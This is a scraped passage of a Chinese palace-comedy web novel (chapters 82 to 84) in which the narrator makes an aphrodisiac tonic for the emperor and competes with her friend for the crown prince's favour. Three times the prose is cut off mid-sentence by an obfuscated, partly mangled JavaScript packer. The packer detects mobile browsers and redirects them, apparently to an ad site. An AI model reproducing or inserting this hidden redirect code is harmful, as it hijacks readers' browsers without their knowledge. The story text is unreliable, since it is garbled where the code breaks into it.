我们三个循声侧头,恰巧错过了他绊的那一下。只看见他脸上挂着兴奋地笑容,挥着一只胳膊,正跟我们招手,他脚下似乎有些不稳,大概不想和我们攀谈,所以并未有停留的打算,径直顺着陡坡快速地奔驰下去,接连被草缠了几次,狼狈趔趄,但好在幸运,没有摔倒,许是急着离开,他步子扯得越来越大,感觉鞋子都差点不跟趟似的,要被甩飞…… 即使这样,他也根本不停下脚步的意思,只一心急切地向我们招手,嘴上还咿咿呀呀忙不过来的样子,在我们眼前一溜烟地草草经过,跑远,跑远,最后消失在长坡下。 从他出现到他离开,整个过程大概只有三四息。我们三人没太反应过来,都沉默着……回过头来细想却也想不起什么。 我们你看看我,我看看你,将各自脑中的画面残像,组合拼凑了一下,却还是一脸懵。 “他干什么,这么兴奋?要去哪儿?好像很着急很赶的样子。”我想都急成这样了,还不忘给我们打招呼,柳延年还怪有礼貌的嘞。 平安茫茫然,懵懵地道:“他好像说了很多话,又一句也没说成的样子。” “啧,路过就路过嘛,整这么大动静!大傻子还回来吗?”花铁铁伸头看了看远处的长坡之下,却被满是青草凹凸不平的长坡挡住了视线,她索性作罢。想起柳延年怀里那个黑乎乎的东西,随口道:“抱了个什么玩意儿?”问完,花铁铁就烦燥起来,她不想关注柳延年,偏又被他勾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089419|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了好奇心,就恼怒:“不是,他有病吧,在我们面前溜达这么一下子?” 齐王惠王和七皇子来了,问柳延年没来找我们吗?我们点点头,又摇摇头。 惠王见我们可爱模样,不禁笑了,说:“他得了一只老唐五黑犬,原是去安园给你们看的,我们闲着没事,又接陛下旨意前来上林苑伴驾游弋,便同他一道来了。” 七皇子问:“他去哪了?” 我们不知道,只又摇摇头。 齐王见我们这样子,也觉得很可爱,便笑起来,邀请我们一起同去陛下行帐问安。 天子赏赐了我们一些茶点。 柳延年抱着他的五黑犬,和郑清卫不弃一道来找我们,他们无诏不得觐见,便在行帐外围。花铁铁见郑清坐在地上看庄先生的文章,就赶紧把自己的那份儿也拿出来看。七皇子也过来凑热闹…… 柳延年跟我兴奋地介绍他的五黑犬,我问他刚才那是做什么,起初他还不交代,后来才说明,他是下坡的时候给草绊了一下,根本停不下来了。自觉十分没面子,关键花铁铁嘴巴毒,免不了一顿奚落,索性跑远了,就干脆跑得更远一点,直接奔向校场,找郑清堂邑夫他们去了。 我信这个傻子说了实话,因为那确实是他能干出来的事儿。 花铁铁和郑清已经把文章上面的字都认全了,只是还读不顺背不下来,原因是出在了句读上。断句不对,又怎么读得顺,背得下来? 我发现问题,就指了出来,柳延年和平安一听句读,便说不就是断句吗,这简单,他们会。于是两人用平安的口脂,给花铁铁和郑清的文章上,点上了所谓的标点符号。 我从旁观看,弄清门道,大赞妙绝。柳延年和平安得意洋洋,便将所有的标点符号及用法都详细介绍给了我们。 七皇子一听标点符号四个字,便又瞬间昏睡,被抬进营帐。 惠王齐王过来,了解了一下标点符号,也觉得非常实用,便将此事禀报给皇帝刘景,刘景也大赞一番,觉得很有必要推行下去。 于是就命柳延年明日去文渊阁将此法传授给相关官员,自上而下推向全国。并特意指出,洛阳蒙学,长安学宫,新教材重做雕版,添印标点,也就是说以后教材,都是带标点的,不用再自行断句了。 标点符号一经问世,便得到推崇传扬,经典古籍之中也都有专人用朱砂进行复录标记。后来,这些标点符号,不出意外也传到了南唐…… 柳延年的五黑犬,很正统,黑头,黑身,黑尾,黑脚,黑舌头。只不过还是个小奶狗子,还不能吃饭,连叫也不太会叫,只会嘤嘤。柳延年水囊里带了一些羊奶,领完旨意便和平安一起喂小奶狗子喝奶。狗子一边喝,一边发出嗯嗯呀呀的呢喃,可爱极了,引得我们围观。 齐王看着这只狗,就想起曾经他的那只狗,小时候的一幕幕又涌上心头,脸上露出一丝难过,转身出了营地,我随着他一起在草场上漫步。 他就要离开长安城了,依依不舍地问我要不要和他一起回国,我自然拒绝。他苦涩一笑,我也苦涩一笑,说:“我长不大,跟你去干什么?” “要是能长大,你就跟我吗?”齐王语速很快,略显急切。 我侧头看了看他,又看了看夕阳,“这不是长不大吗?”说那些有的没的,有啥用。 我低着头,完全没看见,齐王面色竟稍稍舒缓,仿佛像是得到了答复,抬头时,他眼里只剩下了心疼和不甘。 82. 百鞭无敌壮壮丸 日落时分,刘景便起驾回了未央宫。 刘景这段日子一直在汤泉行宫修养身体,此次回宫便是对外昭示天子恢复康健的意思。 在东宫忙碌的太子,听闻此事大喜,放下手头政务,迈着轻盈的步子,来与父皇一同享用晚膳,饭后父子俩闲话家常,谈到夜里,父子俩便像以前一样同榻而眠。他们俩感情是真好,一点猜疑忌惮也没有,叫人羡慕,也叫人匪夷所思。 晚上,韩燕熙来了安园,偷偷爬墙来的,摸进平安的园子,平安没喊没叫,显然是想瞒着。 韩燕熙还真是大胆,他岂会不知我和花铁铁的实力,他能躲过亲王的暗卫,却万万瞒不过我们,可他还是来了。 平安面皮子薄,不想闹出声响,与他纠缠一番,便将他连哄带骂加威胁,撵走了。 我和花铁铁坐在自家屋顶上看月亮,顺道给那厮屁股上一人来了一下,让他知道,我们顾忌平安的情面没露脸,但也绝对不会默许他,在安园如履平地出入自由,任意搅扰我妹妹。 我们那一下,不重却也不轻,帮那厮长长记性,是绰绰有余的。 “我今天看见李家二爷又欺负你来着。”花铁铁呲着牙道。她一脸兴奋,根本没有好朋友被旁人欺负了的愤慨。 我白了她一眼,心想比着你,今天他那样哪算的上欺负啊,“啧,你能不能称呼人家二公子。” 二爷是李椒自家府里人称呼的,我以前跟在他身边做婢女,花铁铁就故意这样称呼,惹我不痛快,着实讨厌。 “我没叫爷就不错了!”花铁铁阴阳道。 爷是枕边人对主子的亲昵称呼,是很暧昧的。我瞬间起了一身鸡皮疙瘩,气不打一处来,狠狠剜了花铁铁一眼。 “啊哈哈哈,瞧你气的,我就喜欢看你生气的样子。”花铁铁美滋滋的没心没肺地说道。 “你怎么跟韩燕熙一样下贱,就喜欢看人生气?”我用鼻子哼哼道。 “他如何跟我比?”花铁铁脸色一沉,又恢复开心道:“不过你们姐妹俩,生气的时候真的又可爱又好看,就还挺让人上瘾的,啊哈哈哈……” 我叫她滚。 花铁铁不滚,反而欺身过来,压在我肩头上,提议说:“别气了别气了,一生气满脸的褶儿,和豆包子似的,咱们去找你家二爷出出气啊,咱们不能由着他欺负啊。我打听到了,他今天休沐在家。” 你惹我生气,找李椒出气,你算的哪门子账? “不去,我还是离他远点好。”我没好气的说。 李椒记恨我是因为老觉得我骗他,还对此深信不疑,若我不跟他扯明白了,他那死性子,便是死都记恨我,永远不可能和我有和解的那天。 可我这幅鬼样子,说不清道不明的,我根本没法解释,解释什么他又都不信,死都不信,他认定我是个江湖骗子,他恨我恨到骨子里,我再去招惹他干什么? “你不去,就在家看好好妹妹,我去。”花铁铁推了我一下,说完,一个飞身消失在夜色里。 “……切!” 可,我要不要跟上去,把她阻回来,或者提醒她悠着点,适可而止,或者跟着一起……哼,说了不去就不去,我得在家好好看妹妹。 花铁铁是哭着回来的,我去她屋里看她,她跟我抱怨李家兄弟俩一点也不懂怜香惜玉,我很疑惑,她一个玄止境是怎么给人大嘴巴子扇巴掌的。 “你怎么知道?”花铁铁一愣,抬起眸子梨花带雨的看我。下一刻,醒过味儿来,摸着被打得火辣辣的脸颊,到梳妆台前赶紧对着镜子照了照,看着清晰的五指巴掌糕,花铁铁破防了,破了大防,悲愤交加,嚎啕大哭…… 众人都被吵醒了,过来我们园子关心情况,被我用花铁铁玩石头剪子布输给我,正闹情绪这个理由,给搪塞过去了。 啊哈哈哈,李家二位公子真是神勇啊,能叫花铁铁吃这么大亏啊,哈哈哈哈……真该跟着去看看,她是怎么挨的巴掌,可是……要真跟着去了,会不会一起挨巴掌? 哼,肯定不会,到时候挨巴掌的就是李家那俩……那俩……嗯……用什么词来形容他俩好呢? 对了,用平安和柳延年的话说,他俩应该就是宇宙无敌钢铁大直男吧! 师父的丹炉送到了,我按秘法将虎血放入其中,请花铁铁用内力炼化,耗费了她两成功力,终于得到了十二颗虎血菩提。 我和花铁铁一人吃了一颗,准备进献四颗给皇帝,一人再留两颗,还有两颗我打算送去给师兄苏和。 花铁铁要趁热打铁,把巨鳄和大鼋那两种血菩提一起炼出来,我劝她悠着点,等体内虎血菩提都吸收了,内力满了再炼。 花铁铁说:“已经满了啊,虎血菩提药效很快的,怎么你……”花铁铁顿住,迟疑地看着我。 我眼神一闪,心里有些失落,她竟这么快吗?可我……“我才恢复了一点点。” 自从太子遇刺以后,我的内力就再也没有达到全盛过,回涨到七成,就停滞不前,从鬼城出来以后,开始慢慢如游丝一般不断消减,刚才吃了虎血菩提,也才将将勉强补充了一点。可花铁铁居然几乎瞬间就恢复玄止境满级内力,真是又羡慕又嫉妒。 花铁铁已经知道我身体逐渐变弱的事情了,我没瞒着她,瞒也瞒不住,也不必瞒着,人总要经历生离死别。她难受的低下头,让我赶紧再多吃几颗。没用的,吃一颗,吃十颗,药力就吸收那些,不会因为吃得多就补得多。 花铁铁担忧的蹙了蹙眉头,仰起头,看着窗外隐隐的晨光,仿佛这样泪水就能回去了,她吸了吸鼻子,信誓旦旦道:“长安你放心,我会努力的。” 努力本身就是一种天赋,花铁铁和郑清都拥有这种天赋,他们的字每天都能看出进步。 平安给他们做了书包,这样去上林苑骑射也不耽误看书学习。 当然也少不了七皇子的,七皇子的病,又好些了,他之前喜欢平安做的针织玩偶,就让平安做了好些,连平安给其他人做的,也都占为己有,大家都不和他计较,他怡然自得,挂的浑身都是,见人就显摆他的玩偶。 如今他全都取了下来,整齐的摆在床头,每日选一个出来,放在他的灵根边上,帮他看守灵根。他的灵根长得非常好,已经郁郁葱葱好大一盆了。 七皇子的好转,还表现在他虽然依旧时常忽然昏睡,但昏睡的时间变短了,更像午休或者小憩,有的时候眯一小会儿,就苏醒了。平安调笑他说,若是封为亲王,大橡是名副其实的睡王。 不久,七皇子就该用第六服药了。 这日我服侍七皇子用药睡下,回到自己的园子,看东厢房的三套鞭,已经晒好了,就去苏和的药庐取所需药材。 并把花铁铁炼化的三种血菩提送去给他,虎血菩提,一共得了十二颗;鳄血菩提,一共得了十八颗;鼋血菩提最多,一共得了二十六颗。我分别给苏和送了,两颗,四颗,六颗。 我和花铁铁每样吃了一颗,又每样存了两颗,以后要上阵杀敌,这些东西备着,关键时候能救命。 因为鼋血菩提有长寿之效,我挑了两颗,打算送给李家老夫人,她待我极好,我总念着她的恩情。 留下的虎血菩提四颗,鳄血菩提八颗,鼋血菩提十二颗,全都进献给陛下刘景,只等我将百鞭无敌壮壮丸做好以后,一起呈上去。 我回来的时候花铁铁他们在书芳园读书,我在自己的园子里,取出师父用了几十年的惠夷槽将各种鞭捻成粉末。 虽说是百鞭,其实没有一百种,但也着实不少,除了虎的,巨鳄的,大鼋的,还有鹿的,驴的,狗的,牛的,貂的,羊的,守宫的,海马的,王八的,等等等等,各种的…… 药材并不都用尽,鞭大的就取一点,鞭小的就都搞里头。 还有几十种药材:肉苁蓉,淫羊藿,杜仲,风流果,黄精,牛大力,人参,鹿茸,地黄……因是秘方,便不一一列举了。 我哼着快乐的小曲儿,把“各种的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091440|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”和几十种药材慢慢研磨出来,然后,将蜂蜜在炭火上微微炙烤,祛除寒凉之气,凉好之后再加入鹿血精,倒入过好筛的鞭药粉里,下手搅拌,揉搓成一个巨大的丸子。 我因为做事认真,就将丸子揉搓的十分标致,近似一个完美的球,摆在桌子正中间,转身去拿金丝楠木药盒子。 “这么大,我去!!??取材还这么多,你给陛下配这么猛的大药丸子?不噎死,也得撑死,不撑死也得在床上累死吧?!嚯,这大药丸子,真大啊,真有一百种鞭吗?”花铁铁终于凑过来,两眼盯着大药丸子,几乎尖叫着发问。 她来了好一会儿,在院子外偷看,直到听我嘟囔着百鞭无敌壮壮丸大功告成,才现身出来。 “没有啊,那一生二,二生三,三生万物的三,说得都是概数,我用了这么多鞭,没叫万鞭丸已经收敛了,我这丸子,还没做好呢,一会儿醒好了,还得搓成小丸子,也就你这大傻子,以为这么大一颗,是一顿的量。”那样的话,还真不是噎死就是撑死,不是撑死就是累死了,啧啧啧,我服了她了,到底什么脑子呀? 我见药醒好了,就一下一下揪着超极大药丸子,搓成一个一个寻常的大蜜丸。 叫花铁铁也别闲着,用烈酒净手,取金箔纸包好,放进精美的金丝楠木匣子里。花铁铁做事也从不马虎,将大蜜丸,一层一层,整齐的码好。 花铁铁觉得药丸子还是有些大,摇着头道:“啧啧啧,这么多鞭,药力得多带劲儿啊,这宫里的娘娘是犯了多大错啊,触天条了?给陛下这么整?啧啧啧,要是搁我,不用多,这一颗,就一颗哈,我指定就全招了,叫我说啥我说啥,屈招了我都!” “滚滚滚,你曲招个屁,别乱说,这是叫陛下服下之后,配合我教他的阴阳和合术,练气调养延年益寿用的,你以为光是为了泄欲啊?”我撇了一眼,一脸没见过世面的花铁铁,告诫道:“不要胡乱编排猜疑我的医术!瞅你那点出息,还就一颗你就全招了,就你那大嘴巴,松的和老婆头子棉裤腰一样,屁大点的事儿,人还没问,你先就说的人尽皆知了,还等得及用药啊?床都上不去!” 我这个定论是有依据的,就拿最近的事举例,她那晚在李家兄弟那里挨嘴巴子的始末,第二天平安就和我说了。 唉,瞧瞧,是不是都不用药!? 不过,这件事我可不能跟花铁铁显露出我已经知道了的样子,一星半点也不能,因为平安答应花铁铁,这件事替她瞒着,尤其不能告诉我,所以我也得帮平安瞒着,不能让花铁铁知道她转头就告诉了我。 “这半天你不好好读书,就为跑来看我做药丸子?咱们园子来谁了?”我刚虽然做药投入,却也听到前面有些动静。 “哦,是陛下微服咱们家了,还有太子殿下。”花铁铁一个激灵,这才想起来要事。 “我擦,那你不早说?你是真行啊!!”我大惊失色,放下手里的药丸子,起身就要出院,去前堂接驾。 “别急别急,陛下说了,你要是忙着,就别打扰你,说等你忙完!”花铁铁急急跟上。 “啊哈哈哈,长安,你这园子,倒是雅致得很。”微服私访的刘景已经到了我院子门口了,身后跟了一群人。 我和花铁铁跪地叩迎天子和太子,以及亲王们。 许久未见太子,他又挺拔帅气了不少,看着更加威严神武。他似乎有什么特别开心的事儿,只因天子在场,所以隐忍克制着笑意,只含蓄地冲着我微微勾了勾唇角,他眉眼弯弯,那温润如玉的熟悉感,瞬间袭来。 见到他我也是很欢喜,可来不及亲近,便被刘景牵着一道欣赏我的小院子。 院中的长桌上都是药品和做药的器皿,炉火等,有些杂乱,这场景实在不适合待客,刘景见我想收拾,就叫我继续忙活。 我这院子打理的很有生活气息,刘景喜欢这种烟火气,尤其看着我忙前忙后的小身影,不经追忆往昔,抒发起从前潜龙时期,在民间过农家日子的感想。 83. 争宠 安园的梧桐院里,欢声笑语。 平安侍奉茶水,花铁铁跟刘景炫耀她最近刻苦读书,已经背下不少名篇了,刘景很是高兴,像检查皇子课业一样,抽查她的背诵。背得还不错,夸赞了几句,她就不要脸的讨赏。 我正好收拾妥当,赶紧打断花铁铁,将三物血菩提端出来,和刚做好的百鞭无敌壮壮丸一同敬献给皇帝刘景。 刘景看了看金丝楠木匣子,笑了笑点点头,示意身边的老奴郭公公收起来。 花铁铁推了推我,意思是别忘了表一表她的功劳,我瞥了她一眼,跟刘景禀报:“陛下,这三物血菩提,是花铁铁用精纯的内力炼制的。” 花铁铁得意地憋着笑,忍不住摇头晃脑,却难得谦虚,有些不好意的样子,道:“都是应该的。” “对对对,都是应该的,陛下咱们去后花园坐坐吧。”我扶着刘景起身,就出了院子,众人跟上。 花铁铁有些傻眼,小步跟上,道:“哎哎哎,别别别啊,陛下,陛下,给点赏赐呗。” “你自己都说是应该的了,为什么还要给你赏赐。”我把她拦在一边,与天子隔开。 “那我用内力炼丹,身子也很虚耗的好吧!没功劳也有苦劳,总得给我点儿什么啊?”花铁铁觉得我挡她财路,顿时黑脸。 “那叫陛下赏你一个壮壮丸,你马上就不虚了,还会喷血!噗呲噗呲……”我说着,动作十分夸张地表演喷血的样子。 “你(滚)……陛下陛下你叫她滚,叫她滚……”花铁铁气极把我一推,两步跨到刘景面前,摇晃着刘景的胳膊央求起来,一副小人模样怂恿天子降罪。 刘景好些日子没见我们拌嘴了,哈哈大笑起来,道:“这是他家,我如何叫他滚?”众人也哈哈笑起来。 “那陛下,你赏我一个家呗。”花铁铁灵机一动,顺着话头,张嘴就要。 说话间,转弯到了后花园,刘景一下子就被我家胖的像猪一样的锦鲤吸引住了,上前几步,探着身子,在池子边细细观赏,连连称奇,完全忘记回复花铁铁的要求,我滔滔不绝一个劲儿介绍我家锦鲤,根本不给花铁铁再次插嘴的机会。 “陛下这锦鲤都是有名字的,呐这个呢,就叫作福袋,叫它它就过来,福袋福袋?”我叫了两声,福袋果然过来,平安端了鱼食递上前来,本来我要抓一些,喂鱼,谁知刘景比我顺手,接过鱼食,取了一些,抬手就喂到福袋硕大的嘴里。 我都没来得及阻拦,只见一瞬间,刘景整只手就被探出水面,张开大嘴吃食的福袋含住了,众人都惊了一下。 我扶着身子僵硬的刘景,赶紧道:“天子赐食,我家福袋福泽深厚啊。” 话音未落,吃完鱼食的福袋在水里一个翻跃,大有鲤跃龙门之相,其他锦鲤纷纷跟着跃起,众人觉得祥瑞,刘景神色缓和亦开怀大笑。 转了一圈,刘景看了看我这后花园,觉得不错。 我这园子中有一处高亭,登上高亭,是能望见未央宫的。在亭中休息的刘竟,从未从这个角度看过他的未央宫,眯起眼看了好一会儿,似乎想到了什么,坐了一会儿,便带着我一道回宫。 刘景和太子微服出巡,坐了一辆马车,回宫路上,他们在马车里商议政务,有些事情牵连不少敏感人物,竟毫不避讳坐在他们身侧的我。 我深深感动上位者对我的信任,可是,不该不听的,我一个字也听不见。 进宫后,皇帝和太子屏退众人,拿了一张图给我,交给我一项秘密任务,我看着图表情肃然恭敬,一副感激涕零的样子。 太子说此事艰巨,叫我慢慢完成,不用着急。 刘景在我握着图纸的手上,拍了拍。我心下了然,会意郑重地点点头:“此乃绝密,长安知道如何行事,还请陛下,殿下,放心。” 太子忽然问:“长安,什么是阴阳和合术?” 阴阳,和合,术……当然就是字面意思,太子这么聪慧,当然就是你想的那样喽! 我一副羞怯的样子,低声支吾道:“殿下尚未娶妻生子,年富力强,学这个还早。” 太子脸微微红了一下,道:“不不不,我,我只是见父皇身体大好,心里高兴,想了解一下,没,没想学……” 我不好接话,只觉得他们父子感情是真好,当爹的什么都不瞒着儿子,连这等“养生之术”也透风。那等私密术法,单对着刘景,我不害羞,单对着太子,我也不害羞。可若是当着他们俩的面谈论,我就脸红了,毕竟涉及那种事情,怎么说啊? 刘景哈哈一笑,夸太子孝敬,说:“大宝大婚在即,以后子嗣绵延,待到不惑,再叫长安去东宫教你。”他太爱儿子,怕儿子尴尬,便转移话题,问我三物血菩提和百鞭无敌壮壮丸怎么用。 我便给刘景详细说了一下各种灵药的用法,怕他分不清记不住,还写了一个小小的秘笺交给他,就和太子去了东宫。 太子事多,一回宫就政务缠身,我在一边伺候笔墨,不知不觉竟到了晚膳时辰。太子索性叫我一同用膳,然后留宿东宫。 我欢喜之余,才要答应,却见当晚为太子值夜的有张子文,豆如意,赵不虞,想到刚才也不见韩燕熙,一问果然他今日休沐。 我顿时警觉,有些不放心,便请太子把韩燕熙叫来当值,说我不在家,恐他去纠缠我妹妹。 太子笑着说若是平时叫来也行,只是他屁股受伤了,最近都是议完政事就回家修养,今日他又休沐,不好叫来。又说,他伤着应该不至于去叨扰平安。 我低着头噘着嘴,心中忐忑,好半天才,才软软糯糯地道:“……他那伤就是夜里翻墙去我家骚……叨扰我妹妹,给我和花铁铁打的。” 太子和几个近臣脸上似乎有些许细微变化,隐隐快意。“你别怕,这是他自找的,不算你殴打朝廷命官。” 我脸色稍展,舒了口气,旋即又紧张起来,担心道:“可他惯不要脸,怕是听说我在东宫留宿,要死的伤都能立即好了。即便是他不知道我不在家,算一算消停了这些天,今日也该去扰我妹妹了,我们两家都住在东市,离得不近,却也不远,他顺腿得很。” 我转了转眼睛,很是体谅太子的样子,略带着有些失望地语气道:“他修养着,殿下叫他来值夜,确实太不体恤臣子,是我考虑不周了。”随即我眼睛一亮,似是灵机一动,仰头看着太子,试探地提议道:“不如,不如把我妹妹叫来?叫她和我一同留宿,要不我可不能安心,今晚是如何都睡不着的。”说完,我又低下头,蹙着眉头,很是担忧妹妹安危的样子。 太子听了嘴角一弯,垂下眸子,欢喜之意迅速划过,只满脸为难的样子。 张子文看了看太子,眼睛转了转,语气轻盈似是提醒我,缓缓道:“此乃东宫,储君御所,平安姑娘到底是女子,留宿,不太好吧。” “那就让她在家给韩燕熙欺负啊?”我像个不懂事的小孩子,委屈执拗地反问。但因为当着太子的面,所以收敛的痕迹特别明显,叫人一眼就看出我是进退两难,实在别无他法。 “不是有花铁铁吗?”张子文看了看太子,又小心试探道。 “花铁铁不行,她不靠谱,而且她得守护七皇子和两位王爷,住的是东正院。我妹妹住的院子离他们远,要是有什么急事,我怕花铁铁再神速,我妹妹也多少会吃点儿亏。”我蹙着眉头,苦恼道:“殿下,我是真心想留下来陪着殿下的,可也确实是放心不下妹妹啊。嗯……就叫她穿着小黄门的衣服来,没人能注意到她。殿下放心,只要您同意,平安就愿意,她对韩燕熙,简直不胜其扰,我不回家守着,她怕也是一晚上都不能安眠呢。” 我又央求了几下,太子终于点头答应:“如此,便依你吧!” 然后惠王齐王七皇子花铁铁都来了……惠王说好久没见太子殿下了,很是想念。齐王说他就要离京了,很是舍不得太子殿下。七皇子什么也没说,他不知道说什么,应该也不太明白为啥今晚要来东宫,但大家都来了,就不能少了他,无论如何,不论去哪,只要他醒着他就要跟着。 可是他们兄弟几个下午才在安园小聚,这就尴尬了! 女扮男装的花铁铁,挺身而出,把扮成小黄门的平安往前推了一个趔趄,解释道:“平安一个人来,太过显眼,我们一群人来正好给她打掩护。” 去接人的豆如意和赵不虞无话可说,但满脸都是之前平安一个人,好像根本也不用打掩护,倒是你们一群人闹这么大动静,便当真是此地无银三百两了。 花铁铁带着众人强壮镇定,一副你们怀疑的那些都不存在,我们就是大义,我们就是舍身为人,我们就是真真切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095578|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切确确实实想念太子殿下了。 我只道这个掩护打得好,还是大家伙想得周到。还到太子身边小声嘀咕,暗示太子,他的筛子东宫,若是真的只有平安一个人来,除非她一声不出,但凡叫人听见太子寝宫里有个娇滴滴的姑娘声,漏出风去,明日有些人就会闹起来。太子大婚在即,还是少生枝节的好。 太子未必看不出我们的强词夺理,但他高兴,也十分宠信我们,便由着我们将是非曲直随意扭转。 如此,我倒忽然有些可怜韩燕熙了,我们都来给太子殿下值夜,偏他不当值,啊哈哈哈…… 我们还把在乐府当值的柳延年也叫来了。太子殿下这些日子忙于政务,也该松快松快,好好玩一玩了。 太子下令摆了小宴席,将宫人们全都屏退,让众人不拘上下尊卑,要的就是同心同乐。 花铁铁就喜欢跟我抢,我坐在太子殿下右手边,她就挤到太子殿下左手边,我给太子殿下端茶,她说茶热,让我一边凉快去,让殿下先吃她布的菜,我给太子殿下奉点心,她直接用筷子夹着递到太子嘴边,我给…… 总之不管我干什么,她都捣乱!我气急,压着怒火,低声道:“花铁铁你有完没完,太子殿下跟你不熟!” 花铁铁斜了我一眼,一脸熟不熟不是你说了算的,继续喂太子吃点心。“殿下吃,殿下吃,”等太子吃完她奉上的点心,她就开心地凑上去笑问:“殿下这耦糕生的熟的?” “熟的。”太子殿下居然很认真地回味了一下,然后确定了一下,才认真地回答。 花铁铁马上笑靥如花,跟我显摆似的故意气我,道:“谁说我和殿下不熟的?殿下都说我们俩熟的,很熟的,很熟很熟的。” 熟你爹! 我把手里的糕点盘子往桌子上一放,谁知因为生气,手上力度没了把握,有些重了,把众人惊了一下,花铁铁顿时抓住把柄,小题大做,“嗯,好怕怕哦,殿下你看她,摔碟子砸碗的,还是让她滚吧。”不等太子说话,花铁铁就自作主张道:“平安你过来把她替下去,要不然她一会儿该打我了,误伤了咱们亲爱的殿下,那可是死罪,她那么小小个人儿,砍头都找不到脖子。” “你……”我简直要气死,“殿下面前你胡说八道什么?” “谁胡说八道了,我什么也没说啊?”花铁铁翻脸不认,“我啥都没说!” “你……”你刚才哔哔那老些,怕不是在放屁吧!我指着花铁铁,就要爆发。 平安笑着按下我的胳膊,把我拉到一边,安抚道:“长安乖,长安不气,哦,不和她一般见识,哦,先到一边冷静下,殿下面前不好生这么大气的。” 我和平安换了位置,委屈的想哭,低着头嗔怨:“她什么都和我抢。” “铁铁就是喜欢出风头,你让让她,啊!”平安其实也是犯难的,她没法把花铁铁怎样,骂不得,劝不住,花铁铁是完全不听的。我还识劝,所以她就只能劝我。她知道这样只会让我更委屈,于是就把桌上的水晶肘子端给我,“别气了,你最喜欢的,赶紧吃吧。” 凭什么她喜欢出风头,我就得让她!我对着肘子“啊呜”一口,斜了一眼正在给太子殿下伺候酒水的花铁铁,示意她我咬得不是肘子,而是她。 可花铁铁不吃我这套,破肘子随我怎么咬,在她眼里不是我让她,是根本抢不过她。她冲我吐了吐舌头,一副胜利者的样子,摇头摆尾道:“喽喽喽,风头都是我的喽。” 我红着眼睛,看了一眼太子殿下,知道他不会参与我们这些小儿女,因争风吃醋而起的小吵小闹,反而当笑话看,觉得很是喜欢很是享受。只要我们不掀桌子,他就谁也不偏护。 可要是有人不懂事儿,因为争不过,就掀桌子,真闹过头,扰了欢快的气氛,那就是不知好歹,自断君恩了。 所以,吵闹归吵闹,做奴才的万事都要在尺寸之内。 偏这尺寸我最会拿捏,既能不伤大雅,还能埋汰一下花铁铁,顺便博君一笑。我气鼓鼓的,狠狠瞪了一眼花铁铁,“是是是,都是你的,风头都是你的,你多爱出风头啊,去参加葬礼,都恨不得躺中间。” 我此言一出,殿中一阵咳嗽。 平安抖着身子,用帕子捂着嘴,憋着笑,道:“长安你少说两句吧。”说着又将烧鸡端给我。 84. 东宫 花铁铁回过味来,气得语塞,看着桌面上的炙羊腿,道:“平安,把这个也端给她。” 我自然知道她是在讽刺我,吃都堵不上嘴。 太子被我们逗得开怀大笑起来,我也懒得和花铁铁继续吵了,只最后带着警告似的,软软糯糯道:“哼,花铁铁,点自己的灯,别吹人家的蜡!江湖规矩,你给我记着!” 言下之意,你想要太子殿下的宠爱,自己经营,别妄图抢我的。 “好啦好啦,记住了,瞧瞧你那小气哔哔的样子,太子殿下那么宠爱你,我哪有本事抢的走啊?你人小蜡烛大,比我腰还粗,我的樱桃小口可吹不灭,对吧殿下。”说着花铁铁对着太子殿下嘟了嘟嘴巴。 她怎么敢?!这特么是赤果果的挑逗!! 众人作势没看见,专心地欣赏着柳延年带领乐府艺人的演出。七皇子朝这边看,被弟弟齐王强行调转方向。 离得最近的平安,不由的脸红起来,娇羞的低下头,侧过身,她白皙的颈子都一红到底。 太子对花铁铁视而不见,却不经意扫了一眼平安,便马上像被闪电击中一般,移开视线。 他脸色一红,状似微醺,有些局促地目视前方,眼神闪烁地看着正在演奏乐曲的柳延年。 却不知这幅样子倒叫柳延年不安起来,坊间对这位太子殿下,是有些传闻的,柳延年从前一点也不信,但那一刻,他真的好担心传言不虚。想起这几天韩燕熙好像屁股受伤了,据说伤得不轻,挺严重的,他便只觉后~庭一紧,汗毛也忽然间瑟瑟而立。 爱一个人,即使嘴巴不说,眼睛也是藏不住的,花铁铁看了看太子,又看了看平安,最后对上我的眼神,不着痕迹的挑了一下眉,然后招呼平安继续伺候太子。 平安很会配合花铁铁伺候太子,花铁铁端起酒杯,她就拿着酒壶给她满上,花铁铁夹了菜肴,她就端着小碟子去接…… 她们倒更像亲姐妹,我醋意大发,噘着嘴黑着脸,一边的惠王笑着叫我别生气了,赶紧吃。 我吃个屁啊,我牙都没了,吃啥都费劲儿,嘬了半天,把水晶肘子软糯的皮,吸了一圈,全吸光了,太油腻了,这会儿降(xiang)得头晕。 